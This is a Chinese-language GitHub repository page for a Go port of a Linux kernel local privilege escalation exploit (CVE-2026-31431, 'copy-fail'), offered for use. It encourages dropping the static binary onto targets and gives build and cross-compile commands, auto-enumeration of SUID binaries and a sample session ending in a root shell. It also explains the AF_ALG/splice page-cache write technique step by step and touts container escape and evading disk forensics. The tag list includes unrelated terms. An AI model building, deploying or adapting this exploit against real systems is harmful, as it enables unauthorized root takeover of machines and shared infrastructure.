3jee/copy-fail-go
GitHub: 3jee/copy-fail-go
Go语言移植的CVE-2026-31431本地提权PoC,利用Linux内核AF_ALG加密接口的页缓存写入缺陷,实现从普通用户到root的权限提升,支持自动枚举SUID目标并编译为无依赖的静态二进制。
Stars: 1 | Forks: 0
# copy-fail-go
[grenkoca](https://gist.github.com/grenkoca/b82281a4706e936072979acf54b608df) 的 **CVE-2026-31431** (copy-fail) Python PoC 的 Go 移植版。
该版本可编译为一个完全静态的二进制文件,零运行时依赖——不需要 Python、pip,也没有 libc 版本限制。将它丢到任何 Linux 目标主机上即可运行。它还会自动枚举目标主机上所有全局可读的 SUID 二进制文件,并允许你以交互方式选择要利用的目标。
## 什么是 CVE-2026-31431 (copy-fail)?
由 **Theori** 发现并于 **2026 年 4 月 29 日** 公开披露,Copy.Fail 是 Linux 内核的 `algif_aead` 加密模块中由于 **2017 年的一次优化** 而引入的一个逻辑缺陷。自 2017 年以来,它影响了所有主流 Linux 发行版。
通过操纵内核的 AF_ALG 加密接口,无特权攻击者可以将受控数据直接写入 Linux **页缓存**——即可信系统二进制文件在内存中的表示。这允许临时劫持像 `/usr/bin/su` 这样的二进制文件,**而无需修改磁盘上的文件**,从而使基于磁盘的取证无法察觉该攻击。
与许多依赖竞态条件或内核地址泄露的 LPE 漏洞不同,Copy.Fail 具有极高的可靠性,并且只需一个普通用户账户即可稳定触发。
**影响:**
- 普通用户 → 任何受影响系统的 root 权限
- 容器逃逸至宿主机
- CI/CD 任务获取其运行器的 root 权限
- 共享/多租户基础设施中的租户遭到相互入侵
- 无磁盘文件修改(规避完整性检查)
**受影响的内核:** 自 2017 年以来的所有发行版。有关具体的版本范围,请参见 [grenkoca 的原始 PoC](https://gist.github.com/grenkoca/b82281a4706e936072979acf54b608df)。
## 与原始 Python PoC 的区别
| | 原版 | 本仓库 |
|---|---|---|
| 语言 | Python 3 | Go 1.21+ |
| 目标 | 硬编码 `/usr/bin/su` | 从实时文件系统扫描中自动检测 |
| 目标选择 | 无 | 交互式编号菜单 |
| 分发形式 | 脚本 | 单个静态二进制文件(无运行时依赖) |
## 要求
- 处于受影响版本范围内的 Linux 内核
- 目标上存在全局可读的 SUID 二进制文件(工具会自动发现它们)
- 运行无需特殊权限
### 构建依赖(在你的构建机器上)
| 工具 | 版本 |
|------|---------|
| Go | 1.21+ |
## 构建
### 原生 Linux 构建
```
git clone https://github.com/3jee/copy-fail-go
cd copy-fail-go
go build -o copy-fail .
```
### 从 macOS 或 Windows 交叉编译(目标平台为 Linux x86-64)
```
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s -w" -o copy-fail .
```
`-s -w` 标志用于剥离调试信息以减小二进制文件体积。`CGO_ENABLED=0` 会生成一个无 libc 依赖的完全静态二进制文件——无论 glibc 版本如何,都可以直接丢到任何 Linux 目标上运行。
### 其他架构
| 目标 | 命令 |
|--------|---------|
| Linux ARM64 | `GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -o copy-fail .` |
| Linux 32位 x86 | `GOOS=linux GOARCH=386 CGO_ENABLED=0 go build -o copy-fail .` |
## 用法
将二进制文件传输到目标并执行(无需 root 权限):
```
./copy-fail
```
示例会话:
```
CVE-2026-31431 (copy-fail) - Go PoC
Based on grenkoca's original PoC
Scanning for SUID world-readable binaries...
SUID world-readable binaries found:
------------------------------------
[1] /usr/bin/su
[2] /usr/bin/sudo
[3] /usr/bin/passwd
[4] /usr/bin/newgrp
Select target [1-4]: 1
[*] Targeting: /usr/bin/su
[*] Writing 48 bytes to /usr/bin/su...
[+] Write complete. Executing target...
# whoami
root
```
## 工作原理
1. 使用 `O_RDONLY` 打开目标 SUID 二进制文件——无需写入权限。
2. 创建一个绑定到 `authencesn(hmac(sha256),cbc(aes))` AEAD 转换的 `AF_ALG` (`SOCK_SEQPACKET`) 套接字。
3. 发送一个带有 `MSG_MORE` 和 SOL_ALG 控制消息的精心构造的 `sendmsg`,以针对目标文件的页缓存条目排队一个加密操作。
4. 使用 `splice(2)` 将页面从文件移动到 ALG 套接字,触发易受攻击的内核路径,该路径会写回修改后的页缓存页面,而无需重新检查文件权限。
5. 对 payload 的每个 4 字节块重复此操作。
6. 执行已被修改的二进制文件。
## 致谢
- **grenkoca** - [原始 Python PoC](https://gist.github.com/grenkoca/b82281a4706e936072979acf54b608df)
- **Theori** - 漏洞发现
- 本仓库是一个带有自动目标枚举功能的、非压缩的 Go 移植版
## 参考
- [OVHcloud: Copy.Fail - 如何快速保护 MKS 集群免受 Linux 内核零日漏洞影响](https://blog.ovhcloud.com/copy-fail-cve-2026-31431-how-to-rapidly-protect-ovhcloud-mks-clusters-from-the-linux-kernel-zero-day/)
- [grenkoca 的原始 Python PoC (gist)](https://gist.github.com/grenkoca/b82281a4706e936072979acf54b608df)
标签:AF_ALG, algif_aead, copy-fail, CSV导出, CVE-2026-31431, EVTX分析, Go语言, Linux内核漏洞, LPE, PoC, SUID, Web报告查看器, 二进制利用, 内存篡改, 协议分析, 容器逃逸, 数据展示, 日志审计, 暴力破解, 本地提权, 权限提升, 程序破解, 红队, 网络安全, 隐私保护, 静态编译, 页面缓存